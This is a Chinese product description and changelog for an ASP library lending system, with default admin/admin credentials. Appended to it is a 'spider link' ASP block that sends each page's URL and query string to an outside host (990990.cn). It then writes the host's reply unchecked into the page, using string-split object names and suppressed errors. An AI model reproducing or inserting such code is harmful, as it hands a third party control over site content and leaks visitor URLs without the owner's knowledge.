图书管理、借阅登记系统功能介绍
为规范管理单位图书，充分利用网络的优势，方便员工快速、高效浏览单位图书室所藏书籍，简化借阅手续，针对中小单位实际设计开发的系统。
系统中的用户功能包括：
1：免注册，由管理员添加。
2：网上‘预借’后到图书馆直接领书。
3：书藉查询分类查询。
4：网上浏览，可以在办公室浏览图书室所收藏的图书目录等信息，不必前去图书室寻找，大大减轻图书管理人员的工作负担。
系统中管理功能包括：
1：书籍分类管理
2：书籍入库
3：用户管理
4：借书还书
20080308
将原来科室和图书父类拆分，新增图书父类管理
精简源代码，减少打开数据库次数
增加Access数据库，下载后即可使用
数据库名为sXang.cn
用户名：admin
密码：admin
对界面进行了简单美化
保留MSSQL2000数据库创建语句
保留MSSQL2000数据库连接配置（config-mssql2000.asp）
Copyright 2007 NGskin.com All Rights Reserved.粤ICP备07036865号 网站法律顾问：Itlaw-庄毅雄
<%
''''--------- 蜘蛛链 自动获取链接代码（ASP V20071206） 开始 ---------''''
'' 参数宽(width)、高(height)、行(row)、列(col)可自行调整
Response.Write GetLink("200" , "20" , "1" , "1" , "0")
Function GetLink(width,height,row,col,secure)
On Error Resume Next
Dim Url
Url = "http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("URL")
If Trim(Request.QueryString) <> "" Then Url = Url & "?" & Trim(Request.QueryString)
Url = "http://www.990990.cn/put.php?row=" & row & "&col=" & col & "&width=" & width & "&height=" & height & "&url=" & Server.URLEncode(Url) & "&secure=" & secure
GetLink = GetHttpPage(Url)
If Err.Number <> 0 Then
GetLink = ""
Err.Clear
End If
End Function
Function GetHttpPage(HttpUrl)
If IsNull(HttpUrl)=True Or Len(HttpUrl)<18 Then
GetHttpPage=""
Exit Function
End If
Dim Http
Set Http=server.createobject("MSX" & "ML2.XM" & "LHT" & "TP")
Http.open "GET",HttpUrl,False
Http.Send()
If Http.Readystate<>4 then
Set Http=Nothing
GetHttpPage=""
Exit function
End if
GetHTTPPage=bytesToBSTR(Http.responseBody,"utf-8")
Set Http=Nothing
If Err.number<>0 then
Err.Clear
End If
End Function
Function BytesToBstr(Body,Cset)
Dim Objstream
Set Objstream = Server.CreateObject("ad" & "odb.str" & "eam")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
''''--------- 蜘蛛链 自动获取链接代码（ASP V20071206） 结束 ---------''''
%>
